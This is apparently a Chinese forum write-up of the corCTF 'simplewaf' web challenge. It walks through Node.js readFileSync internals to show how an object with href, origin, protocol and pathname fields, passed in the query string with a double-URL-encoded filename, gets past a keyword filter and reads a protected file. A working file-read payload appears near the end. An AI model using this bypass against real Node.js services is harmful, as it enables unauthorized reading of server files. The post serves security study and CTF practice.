首页
社区
课程
招聘
[corctf]simplewaf
2022-8-21 00:28 7551

[corctf]simplewaf

2022-8-21 00:28
7551

题目提供了源码,是一个node.js
先从main.js入手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
const express = require("express");
const fs = require("fs");  //引入fs模块
 
const app = express();  //基于nodejs平台的web框架
 
const PORT = process.env.PORT || 3456;
 
app.use((req, res, next) => {   //一个waf中间件,检测检查请求正文、标头或查询字符串的 JSON 表示是否包含字符串“flag”
    if([req.body, req.headers, req.query].some(
        (item) => item && JSON.stringify(item).includes("flag")
    )) {
        return res.send("bad hacker!");
    }
    next();
});
 
app.get("/", (req, res) => {
    try {
        res.setHeader("Content-Type", "text/html");  //设置一个header
        console.log(req.query.file);
        res.send(fs.readFileSync(req.query.file || "index.html").toString());        //同步读取文件
    }
    catch(err) {
        console.log(err);  //发生错误则返回500
        res.status(500).send("Internal server error");
    }
});
 
app.listen(PORT, () => console.log(`web/simplewaf listening on port ${PORT}`));

漏洞点存在于readFileSync()存在文件读取,而且传入参数file可控,但是本题提供了一个看似简单,实则恶心的waf中间件

1
2
3
4
5
6
7
8
app.use((req, res, next) => {   //一个waf中间件,检测检查请求正文、标头或查询字符串的 JSON 表示是否包含字符串“flag”
    if([req.body, req.headers, req.query].some(
        (item) => item && JSON.stringify(item).includes("flag")
    )) {
        return res.send("bad hacker!");
    }
    next();
});

用于检测请求中是否包含flag字样,但是node基于javascript,所以并不像php那样有很多的bypass方式,所以我们需要看看readFileSync()有没有什么比较特殊的用法,来绕过"flag"

 

readFileSync()的一个调用堆栈情况:

1
2
readFileSync -> openSync -> getValidatedPath
-> toPathIfFileURL -> fileURLToPath -> getPathFromURLPosix

从内部一步步的审计readFileSync()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
function readFileSync(path, options) {
  options = getOptions(options, { flag: 'r' });
  const isUserFd = isFd(path); // File descriptor ownership
  const fd = isUserFd ? path : fs.openSync(path, options.flag, 0o666); //调用了openSync()
 
  const stats = tryStatSync(fd, isUserFd);
  const size = isFileType(stats, S_IFREG) ? stats[8] : 0;
  let pos = 0;
  let buffer; // Single buffer with file data
  let buffers; // List for when size is unknown
 
  if (size === 0) {
    buffers = [];
  } else {
    buffer = tryCreateBuffer(size, fd, isUserFd);
  }
 
  let bytesRead;
 
  if (size !== 0) {
    do {
      bytesRead = tryReadSync(fd, isUserFd, buffer, pos, size - pos);
      pos += bytesRead;
    } while (bytesRead !== 0 && pos < size);
  } else {
    do {
      // The kernel lies about many files.
      // Go ahead and try to read some bytes.
      buffer = Buffer.allocUnsafe(8192);
      bytesRead = tryReadSync(fd, isUserFd, buffer, 0, 8192);
      if (bytesRead !== 0) {
        ArrayPrototypePush(buffers, buffer.slice(0, bytesRead));
      }
      pos += bytesRead;
    } while (bytesRead !== 0);
  }
 
  if (!isUserFd)
    fs.closeSync(fd);
 
  if (size === 0) {
    // Data was collected into the buffers list.
    buffer = Buffer.concat(buffers, pos);
  } else if (pos < size) {
    buffer = buffer.slice(0, pos);
  }
 
  if (options.encoding) buffer = buffer.toString(options.encoding);
  return buffer;
}

调用了openSync()函数,跟进一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
function openSync(path, flags, mode) {
  path = getValidatedPath(path);
    //检测url,跟进看看
  const flagsNumber = stringToFlags(flags);
  mode = parseFileMode(mode, 'mode', 0o666);
 
  const ctx = { path };
  const result = binding.open(pathModule.toNamespacedPath(path),
                              flagsNumber, mode,
                              undefined, ctx);
  handleErrorFromBinding(ctx);
  return result;
}

继续跟进getValidatePath()函数:

1
2
3
4
5
6
function getValidatedPath (fileURLOrPath) {
  const path = fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin
    ? fileURLToPath(fileURLOrPath)
    : fileURLOrPath
  return path
}

这里发现当fileURLOrPath的href属性和origin属性不为空,就会执行fileURLToPath函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const fileURLToPath = (path) => {
  if (typeof path === 'string') {
    path = new URL(path)
  } else if (!isURLInstance(path)) {
    throw new ERR_INVALID_ARG_TYPE('path', ['string', 'URL'], path)
  }
 
  if (path.protocol !== 'file:') {
    throw new ERR_INVALID_URL_SCHEME('file')
  }
    //令path.protocol属性为file:
 
  return isWindows
    ? getPathFromURLWin32(path)
    : getPathFromURLPosix(path)
    //进入getPathFromURLPosix
}
const isURLInstance = (input) => {
  return input != null && input.href && input.origin
    //存在href和origin属性就返回真
}

控制path.protocol属性为file: 可以继续执行getPathFromURLPosix()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function getPathFromURLPosix(url) {
  if (url.hostname !== '') {
    throw new ERR_INVALID_FILE_URL_HOST(platform);
  }
  const pathname = url.pathname;
  for (let n = 0; n < pathname.length; n++) {  //url解码
    if (pathname[n] === '%') {
      const third = pathname.codePointAt(n + 2) | 0x20;
      if (pathname[n + 1] === '2' && third === 102) {
        throw new ERR_INVALID_FILE_URL_PATH(
          'must not include encoded / characters'
        );
      }
    }
  }
  return decodeURIComponent(pathname);
}

当url.hostname为空时,这个函数对pathname进行了一个url的解码,因此我们发现,当传入的值在满足上述的情况下,readFileSync()支持传入urlencode的形式,于是可以通过url解码来避免对字符串flag的使用

 

当然flag需要经过双url编码,因为 Express 已经将 URL 解码一次

 

payload:

1
?file[href]=a&file[origin]=a&file[protocol]=file:&file[hostname]=&file[pathname]=/app/fl%2561g.txt

分析到这里,可以说这道题雀氏精彩,剖析了整个函数的调用,最终发现了可利用的点,实现了完美的bypass


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回